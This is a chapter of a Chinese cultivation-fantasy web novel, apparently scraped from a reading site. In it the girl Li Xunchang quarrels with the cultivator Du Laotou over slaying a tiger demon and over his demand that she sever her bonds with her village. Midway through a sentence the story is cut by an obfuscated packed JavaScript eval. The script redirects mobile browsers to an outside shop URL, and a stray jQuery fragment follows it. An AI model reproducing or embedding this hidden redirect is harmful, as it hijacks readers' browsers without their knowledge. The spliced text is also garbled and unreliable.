李寻常的意见不重要,杜老头铁了心要将山里的那头虎妖赶尽杀绝。
“若放任一只拥有灵智妖在山里称王称霸、为非作歹,日后上山的村民们必然遭其祸害。如今,它令这狼群围堵凡人,亦是有意为之。今日不是我来,你这些亲朋好友都要丧生狼口,哪怕如此,你还认为这妖杀不得吗?”
她和宗衍的谈话都被杜老头给听去,老人摆起师长派头对她解释起修士、妖与凡人。
“妖域外的妖,无名无姓,便是野妖,它们不受妖域三天十二城的控制,向来在人间肆意妄为,为活着不惜残杀人类。此虎本就生于郊野山林,吸食人类精气与血肉来供养自身生长,不趁其弱小时将其斩杀,定当自尝恶果。浮生村外无小妖,方得安宁。”
她好像总在走神。
宗衍顺着她的视线看向屏障外的狼群,除了凶神恶煞和假寐诱敌,什么都没有。
十岁的小姑娘只在刚来时流露过惊惧,这会儿早已冷静下来,乌黑透亮的杏眼在火光中仿佛也燃起一簇微弱的火苗。
那头老虎既已通人性,为何不能与之沟通呢?这样的话,不就可以省去很多麻烦吗?
它生于草莽,没有族群,独自长大,修炼成妖。它遵循意志,不知何为对错,没有和它一样的妖能指教。
杜老头这番话分明是在告诉李寻常,有妖域,有他口中的“三天十二城”——尽管现在的她还不能理解这五个字的含义,可有城就有和人间一样的市井江湖,不是吗?那虎妖刚生的灵智,不就是初生婴孩吗?
“杜……”李寻常正要开口好好问问杜老头,刚泄的字音就被宗衍拍肩打断。
她不解地抬头看向宗衍。
宗衍问:“什么是可以杀的,什么是不可以杀的?要是连这种即将危害到个人性命的野兽都不能杀,人要怎么活下来?”
才不是这个——
她欲言又止,下意识想要反驳,同样陷入迷茫。
不是什么呢?她自己都说不明白。
她有些懊恼自己不能和二哥那样,长篇大论地向杜老头或是宗衍哥讲述自己的想法。念头懵懵懂懂地生根发芽,钻出头又飞快地缩回去。
“丫头,你可听明白了?”
杜老头说的是对的,宗衍哥说的也是对的。
“宗衍哥。”她只觉得头痛。
她皱起脸努力让自己不再深究她的茫然,仓促地颔首,生硬地转移话题,不想再谈这叫她想不清晰的想法。
“大家是不是都知道世上有法术?”
二哥貌似也提起过。
“知道一些。”宗衍承认得很快,没有搪塞,“否则村长他隔个三年五载就得找几个道士上村里,总不能是爱被人骗银子花。”
“小妹,”她还没来得及回话,王茂先一步喊道,“可否替我们问问前辈,这屏障能支撑到何时?”
“撑到白天不成问题。”不需要李寻常去问,杜老头就做出了回答,她当即转述。
王茂松口气,朝宗衍招招手:“阿衍,来帮忙。夜里行动对我们来说劣大于优,和夜间习性的狼群比夜间视力等同自寻死路。在晨曦到来之前,我们得先在这儿扎营,为白天和狼群死战做好准备。”
在柳二的安排下,他们上山主要目的虽是为了砸碎冰块埋尸,避免引来不必要的灾祸,但行走这样的险山上,哪有不带武器就两手空空擅闯的道理?
直接让杜老头出手不行吗?二哥让她喊人来带众人下山,必然是为了护着村民这个理由才是。
大家心知肚明修士的存在,却都没想过这件事。
她在屏障前踌躇,就听头顶窸窸窣窣,杜老头笑着传音:“丫头,来跟我去见见那头小畜牲吧。”
李寻常惊讶的神情落到杜老头眼里,他更为惊讶。
“难道你还想和你的亲朋好友一起应付狼群?这狼群不过是个苦力下属,有那虎妖在,它们可是不会被喝退吓退,反而会紧追猎物直致死亡。”
他不在意李寻常的态度和想法,手一挥,女孩的身形就腾空而起。
原本站在屏障前的少年瞬间消失不见了。
王茂回头一叹:“柳二的决定也不知对不对,若让夫人知道,估摸着又得大吵一架。”
宗衍研磨草药的动作微顿:“有以前的事在前,柳大的事在后,现在再加上个李寻常,少不得吵。黄夫人为浮生村呕心沥血,一人操手药园子,谁料柳大会为修行之事和她大闹,连修元都不和她站同一边。好歹柳大还有家书往回寄,不然……”
“我看村长倒是挺热衷的。”
“他当然热衷。浮生村这么多年来就出个柳大,好不容易盼来的第二个,偏偏和他们家没有血缘。名头和实际,总得沾一两样。”
“……你对村长的意见颇大啊。”
他皮笑肉不笑:“你的错觉。”
出了屏障,山林间回荡的虎啸再度清晰,李寻常在杜老头的带领下踩在一棵棵树上如履平地。
李寻常终于能自由说话,急切地道:“为何我就得来?我可以在那里和大家一起。”
杜老头的脸看不清晰,弯折的枝叶垂下来,朦胧地挡住分寸光影。他眉眼带愁:“我说丫头啊,你是不是没搞清楚状况?”
“什么?”李寻常一愣。
他慢吞吞道:“你啊,你是个修士。”
“修士和凡人,以境界为划分,以寿命作界限。当你正式修炼,步入炼气期开始,你就和凡人有了一条天堑之隔。即使你身上盘旋名为‘短命’的阴霾,随着境界提升,最终你也会成为长生的其中之一。你尚且年幼,或许不曾想过,可是百年以后啊,这生养你的村子,就会换一批人了。
“趁你不过十岁,和这个地方还没构成极深的联结,尽早抽离,免成日后修行时的心魔吧。你和他们,是注定要分离的人,你们是注定走不上同条道的人。你再不情愿,终有一日,你仍要面对生离死别。
“降妖除魔捉厉鬼,这是修士要践行的炼心之道,亦是接下来我要带你去做之事。而在此前,你要先斩尘缘,心里头净了,你的修为才能冲破桎梏。”
“我不要。”李寻常没有半点犹豫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810341|210806||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,不假思索地道,“你都说我是个短命的。我不仅短命,我还是五灵根,是废物,光是炼气就耗光我的四年,在他们死之前,我会先因为境界不够而死——”
“再说了……”再说,她修炼之前根本没有人告诉她还有这种事。她没有想过什么续命以后,她没想过她会和村里人的面临阴阳两隔的局面。
在她的设想里,她是活不到那时候的。
当年的仙长没有告诉她,那日的道士没有告诉她,若木更没有告诉她!
系统的语调难得出现起伏:【李寻常,你别忘记你答应了我什么。】
她就算忘记又怎么样?反正做不到就是死,她早死晚死都得死,什么时候死的区别大吗?至少早点死,她就不需要面对世事变迁。
“你没有拒绝的权利。除非你现在自绝经脉,自废丹田,来告诉我,你此生此世再不会碰这仙途。”
杜老头在逼她决定。
“你若不想以此续命,你就不会竭力地摸索,就算只靠自己都想成功引气入体,更不会想接触另一道路,冒着生命危险将足以冻死经脉的寒气当做淬炼的途径。”
她会接受系统的要求,自然是因为她想活下去。
她的脑子快要不动了。
杜老头的每一句话都在冲击她、催促她,让无暇他顾地只专注于眼下的紧迫。
不对吧,这都不对吧?她一个谁都看不上的五灵根,杜老头和系统为何要盯着她?
自绝经脉、自废丹田?这不就是让她去死!
“我不要!”
温柔月色下的山林好似要被火烧燎原成一片荒野,暗流涌动的鬼哭狼嚎和她的声音同时敲响。枝头安睡的鸟雀惊醒扇动翅膀,荡起涟漪,水纹久久不歇地晃。
“不管是死还是废修为、了尘缘,我全都不要!”李寻常咬紧牙关,双目通红,“我想活着就得断往来,故作一副事不关己的姿态吗?你想我和大姐一样离开村子,对不对?”
她想起记忆里的柳听舟就是突然不见的,无知无觉。
她的记忆只有模糊的碎片,拼不出一幅关于柳大的画像。除了一把对方丢弃的废刀,她居然皆是从二哥的描述中给自己添补出青年的模样,只有书信能描绘一二字。可收到家书的夫人为何总是不高兴呢?
杜老头不乐意地道:“你勿要将我说成个坏人似的,柳大本就是自愿离开。修士在一个地方待得久了,和凡人待得久了,迟早会给凡人带来麻烦。”
她明知跑不掉的。
“你就不能老实些?当年柳听舟可没像你这般意见大!一些凡人而已,不过十年,你对他们的印象能有十年吗?待入了修真界,你遇到的那都是和你一样的修士,那才是真正的志同道合,可以性命相托付者。”
她怒目圆睁:“你什么都不知道,你在浮生村待这般久,不过是个冷面冷心的。亏得二哥竟信你。”
“李寻常。”
这是杜老头第一次叫她的全名。
“你当真觉得,柳二不知吗?”
她好像被人从头浇了盆冷水。